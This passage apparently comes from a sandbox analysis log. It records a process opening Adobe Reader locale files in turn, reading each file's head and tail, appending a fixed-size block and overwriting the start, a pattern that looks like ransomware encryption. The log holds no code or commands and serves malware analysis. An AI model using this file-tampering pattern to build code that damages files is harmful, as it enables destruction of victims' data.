lpBuffer=0x2736c68*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.583] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.583] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.583] CloseHandle (hObject=0x1ac) returned 1 [0039.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\pddom.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\pddom.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.583] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.583] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2e00 [0039.584] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.584] ReleaseMutex (hMutex=0x128) returned 1 [0039.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.PTB", lpUsedDefaultChar=0x0) returned 9 [0039.584] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e00 [0039.773] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e00 [0039.776] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.784] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.784] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.784] CloseHandle (hObject=0x1ac) returned 1 [0039.789] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Spelling.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\spelling.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.792] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2a00 [0039.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.793] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.793] ReleaseMutex (hMutex=0x128) returned 1 [0039.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.PTB", lpUsedDefaultChar=0x0) returned 12 [0039.796] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.803] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0039.803] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0039.805] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.805] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.805] CloseHandle (hObject=0x1ac) returned 1 [0039.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DVA.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\dva.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4800 [0039.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.806] ReleaseMutex (hMutex=0x128) returned 1 [0039.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUM", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUM", lpUsedDefaultChar=0x0) returned 7 [0039.806] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.810] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3800 [0039.810] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.811] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3800 [0039.859] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.860] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.860] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.860] CloseHandle (hObject=0x1ac) returned 1 [0039.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.860] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.860] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1200 [0039.860] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.861] ReleaseMutex (hMutex=0x128) returned 1 [0039.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUM", lpUsedDefaultChar=0x0) returned 10 [0039.861] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0039.864] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0039.864] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0039.865] CloseHandle (hObject=0x1ac) returned 1 [0039.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.865] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.865] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x65e00 [0039.865] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.865] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.865] ReleaseMutex (hMutex=0x128) returned 1 [0039.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUS", lpUsedDefaultChar=0x0) returned 12 [0039.866] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x64e00 [0039.867] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.869] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x64e00 [0039.869] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.869] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.869] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.870] CloseHandle (hObject=0x1ac) returned 1 [0039.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\MakeAccessible.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\makeaccessible.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.870] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.870] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12800 [0039.870] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.870] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.870] ReleaseMutex (hMutex=0x128) returned 1 [0039.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUS", cchWideChar=18, lpMultiByteStr=0x1e789ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUS", lpUsedDefaultChar=0x0) returned 18 [0039.870] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.872] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11800 [0039.872] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.873] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11800 [0039.873] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.873] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.873] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.873] CloseHandle (hObject=0x1ac) returned 1 [0039.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.874] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.874] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb6ba [0039.874] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.874] ReleaseMutex (hMutex=0x128) returned 1 [0039.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.874] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.876] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa6ba [0039.876] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.877] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa6ba [0039.877] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.877] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.877] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.877] CloseHandle (hObject=0x1ac) returned 1 [0039.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.878] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.878] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1e000 [0039.878] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.878] ReleaseMutex (hMutex=0x128) returned 1 [0039.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SKY", cchWideChar=12, lpMultiByteStr=0x1e6338c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SKY", lpUsedDefaultChar=0x0) returned 12 [0039.878] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1d000 [0039.881] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.883] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1d000 [0039.884] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.884] 